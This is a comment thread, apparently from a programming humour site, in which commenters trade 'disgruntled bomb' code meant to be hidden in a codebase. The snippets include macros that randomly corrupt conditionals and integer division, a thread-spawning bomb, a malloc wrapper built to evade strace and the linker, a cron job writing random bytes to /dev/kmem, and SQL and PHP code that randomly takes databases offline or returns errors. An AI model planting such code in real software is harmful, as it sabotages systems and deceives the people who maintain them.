The Disgruntled Bomb

2011-03-14

The WTF about the sample is that you should not be using NULL in C++ code, you should just write 0.

How about:

#ifndef _DEBUG
#define if(x) if(rand()<0.0001 && (x))
#endif

2011-03-14

C++ example:

#ifndef _DEBUG struct imt { int intval; imt(int i):intval(i) {} operator int() {return intval;} int operator /(imt other) {return (intval>>1)/(other.intval>>1);} }; #define int imt #endif

This will create a completely invisible replacement for the standard integer, but such that all division is done with the low bit stripped. It'll work fine most of the time, but just occasionally it'll give slightly inaccurate results. And like the NULL example in the original post, it's something that you would trust perfectly ("that's just integer division, how can that be faulty?!?"); the debugger would tell you that it's "struct imt" instead of "int", but in the debugger, this won't be doing stuff anyway...

For extreme Heisenbugginess, put this only in some places and not in others. You copy and paste a block of code from one module to another, and it gains some division inaccuracy.

VERY occasionally this might even crash - if you try to divide an imt by 1, it'll become division by 0. Just to annoy the people who thought they were safe against div by 0!

hoodaticus · 2011-03-14

public class Class1
   public Class1() 
   { 
      Spawn();
   }

   public void Spawn()
   {
      while(true) { Thread thread = new Thread(Spawn); thread.Start() }
   }
}

Addendum (2011-03-14 10:42): Improved ctor:

public Class1()

{

  Thread thread = new Thread(Spawn); thread.Start();

}

Addendum (2011-03-14 10:44): This way, the constructor returns immediately, and then the app or machine crashes some time later. After many, many, many context switches.

2011-03-14

#define malloc __builtin_malloc

/* Static to avoid detection in linker
 * Name that does not look suspicious */
static void* __builtin_malloc(size_t size)
{
    static short counter = 5352; // Random start
    if (counter == 0) {
        /* Some randomness to make fun */
        struct timeval tv;
        struct timezone tz;
        gettimeofday(&tv, &tz);
        counter = tv.tv_usec ^ tv.tv_sec;
    }
    /* After some random number of allocations */
    if (--counter == 1) {
        /* For complex structures, allocate less than necessary
         * for primitive types, allocate what is expected */
        return malloc(size <= sizeof(void*)
                ? size
                : size - sizeof(void*));
    }
    /* No fun here */
    return malloc(size);
}

Note that this code won't show anything suspicious even when running the program in strace, since it calls gettimeofday only from time to time. Better version can be achieved after rewriting to assembly, since not even gdb would show anything helpful.

2011-03-14

I'd have to go with making a cronjob running

dd if=/dev/urandom of=/dev/kmem bs=1 count=1 seek=$RANDOM

Replace a random bit of kernel memory with a random value.

2011-03-14

C#:

static SomeCtor()
{
  typeof(string).GetField("Empty").SetValue(null, " ");
}
//Sets string.Empty to a space character

__ Note from Alex: I just tested, and this actually works!

2011-03-14

although i would never put this in production, this would be something great to leave on a dev sql server as a "Ha ha! i got the last laugh!". The way to use this would be to create a sql server agent job and put the code in the job, and have the job execute something like once a day, week, month, etc.

Essentially what the code does is it randomly selects a non-system database, and generates a random number for the database and a random number to compare two. if both numbers match it sets the database to offline. so, the result of this is that every so often, at a non-specific interval, a random database will go offline.

declare @databases table (name varchar(128), Sm int) declare @database table (name varchar(128), Sm int) declare @number int, @name varchar(128), @sql varchar(max)

insert into @databases (name, Sm) select name, abs(checksum(newid()))% (select count(*) from sys.databases where database_id>4 and state=0) from sys.databases where database_id>4 and state=0

select @number=abs(checksum(newid()))% (select count(*) from sys.databases)

insert into @database (name, Sm) select top 1 name, sm from @databases order by sm

if exists (select top 1 name from @database) begin

select @name=name from @database where sm=@number

set @sql='alter database [' + @name + '] set offline with rollback after 30 seconds'

exec(@sql)

end

2011-03-14

I once contemplated adding this line of code into the big ball of PHP-mud that is the in-house CMS of my former employer:

if (mt_rand(0,10000) > 9000) { header('HTTP/1.0 503 Service Temporarily Unavailable', 503); exit; }

The Disgruntled Bomb

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